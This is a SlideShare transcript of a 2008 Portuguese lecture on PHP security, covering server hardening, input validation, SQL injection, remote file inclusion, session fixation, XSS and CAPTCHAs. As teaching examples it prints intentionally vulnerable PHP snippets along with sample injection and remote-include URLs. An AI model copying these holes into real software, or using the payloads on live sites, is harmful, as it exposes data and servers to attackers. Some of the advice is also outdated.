• Share
  • Email
  • Embed
  • Like
  • Save
  • Private Content
Segurança (in portuguese)
 

Segurança (in portuguese)

on

  • 1,553 views

 

Statistics

Views

Total Views
1,553
Views on SlideShare
1,552
Embed Views
1

Actions

Likes
3
Downloads
32
Comments
0

1 Embed 1

http://www.linkedin.com 1

Accessibility

Categories

Upload Details

Uploaded via as Adobe PDF

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

    Segurança (in portuguese) Segurança (in portuguese) Presentation Transcript

    • Segurança PHP Advanced - 19 de Setembro de 2008 Bruno Pedro <bpedro@tarpipe.com>
    • PHP Advanced Conteúdo • Melhorar a segurança • Validação de dados • Prevenção contra scripts • Projecto • Resumo Segurança 2
    • PHP Advanced Sistema Operativo • Manter o Sistema Operativo sempre actualizado • Instalar todas as actualizações de segurança disponibilizadas • Desligar todos os serviços não utilizados • Auditoria de Sistema Operativo: • Nessus: http://www.nessus.org/ Segurança 3
    • PHP Advanced Apache • Executar com user ID próprio • Desligar módulo mod_autoindex • Negar acesso a directórios não necessários • templates, templates_c, lib, etc • Negar acesso a ficheiros não necessários • *.bak, *.tpl, *.*~, etc Segurança 4
    • PHP Advanced PHP • display_errors = Off • log_errors = On • error_log = /var/log/php.log • register_globals = Off • session.use_trans_sid = 0 • open_basedir = /directorio/do/website • expose_php = Off Segurança 5
    • PHP Advanced Input do utilizador • Variáveis globais são um problema • register_globals está desligado por omissão • Mesmo assim convém inicializar todas as variáveis utilizadas Segurança 6
    • PHP Advanced Input do Utilizador <?php // (...) if ($auth) { $fullAccess = true; } if ($fullAccess) { // (...) } ?> Segurança 7
    • PHP Advanced Formulários • Nunca confiar no que o utilizador introduz num formulário • Nunca fazer include’s ou require’s utilizando variáveis provenientes de formulários • Nunca manipular ficheiros utilizando variáveis provenientes de formulários • É possível efectuar um POST a formulário através de JavaScript, mesmo sem estar na página do formulário Segurança 8
    • PHP Advanced Formulários <?php $fp = fopen($_POST[‘username’], ‘a’); fputs($fp, ‘Nome: ‘ . $_POST[‘name’]); fclose($fp); ?> Segurança 9
    • PHP Advanced Bases de Dados • mysql_real_escape_string() • Utilizar plicas em todos os valores sempre que possível • Atenção a aplicações que usem paginação e validar o parâmetro correspondente ao número da página Segurança 10
    • PHP Advanced Bases de Dados <?php // URL: // http://example.com/?table=user+SET+password=%3Dmypass%3D+%23 $res = mysql_query(‘UPDATE ‘ . $_GET[‘table’] . ‘ SET visits=visits+1 WHERE id=’ . $_GET[‘id’]); // Query realmente executado: // UPDATE user SET password=”mypass” # SET visits=visits+1 WHERE id= ?> Segurança 11
    • PHP Advanced Programas externos • Nunca confiar em parâmetros de GET e passá-los como parâmetros de programas externos • Utilizar sempre escapeshellarg() em todos os parâmetros de programas externos Segurança 12
    • PHP Advanced Inclusão de Scripts • O bug mais comum é relacionado com a inclusão de scripts baseada em parâmetros GET • Desligar o allow_url_fopen sempre que possível para não permitir a abertura de ficheiros remotos Segurança 13
    • PHP Advanced Inclusão de Scripts <?php // URL: // http://example.com/?page=http://mysite.com/attack include $_GET[‘page’] . ‘.inc’; // Na realidade é feito um include a // http://mysite.com/attack.inc // que poderá ter código malicioso ?> Segurança 14
    • PHP Advanced Sessões • Poderá ser possível injectar o ID da sessão através de parâmetro GET ou de Cookie, tomando conta de uma sessão activa • Esta técnica tem o nome de Session Fixation ou Session Hijacking • Utilizar a função session_regenerate_id() Segurança 15
    • PHP Advanced XSS • Nunca escrever directamente conteúdo proveniente de formulários ou de parâmetros GET • É possível introduzir conteúdo num formulário que, ao ser escrito, abra uma localização remota e permita ao atacante obter informação sobre o utilizador Segurança 16
    • PHP Advanced Prevenção contra scripts • No registo • Garante que só um humano se consegue registar • Evita registos em quantidade ou um ataque propositado • Na autenticação • Evita tentativas de obter autenticação através de força bruta Segurança 17
    • PHP Advanced Prevenção contra scripts • CAPTCHA • Completely Automated Public Turing tests to tell Computers and Humans Apart • Garante que o formulário foi preenchido por um humano • Validação por Email • OpenID Segurança 18
    • PHP Advanced PEAR::Text_CAPTCHA • Instalação • pear install Text_CAPTCHA • pear install Image_Text • Obtenção de uma font TTF Segurança 19
    • PHP Advanced PEAR::Text_CAPTCHA Segurança 20
    • PHP Advanced PEAR::Text_CAPTCHA Segurança 21
    • PHP Advanced PEAR::Text_CAPTCHA Segurança 22
    • PHP Advanced reCAPTCHA • Web Service • Biblioteca em PHP • Disponível em http://recaptcha.net/ • Ajuda a digitalizar livros Segurança 23
    • PHP Advanced Validação por Email • Tornar obrigatória a inserção do endereço de Email no formulário • Após o formulário ter sido preenchido gerar um ID e gravá-lo juntamente com os dados • Enviar uma mensagem ao endereço introduzido com instruções de confirmação Segurança 24
    • PHP Advanced Projecto • Escolher um dos mecanismos de prevenção contra scripts e implementá-lo nos formulários de registo e de autenticação Segurança 25
    • PHP Advanced Resumo • Melhorias na segurança • XSS • CAPTCHA • Validação por Email • Implementação Segurança 26
    • PHP Summer School Questões? OOP em PHP 27
    • PHP Advanced Mais informação • O meu blog: http://unfoldingtheweb.com/ • Manual de PHP: http://www.php.net/ • PEAR: http://pear.php.net/ • reCAPTCHA: http://recaptcha.net/ Segurança 28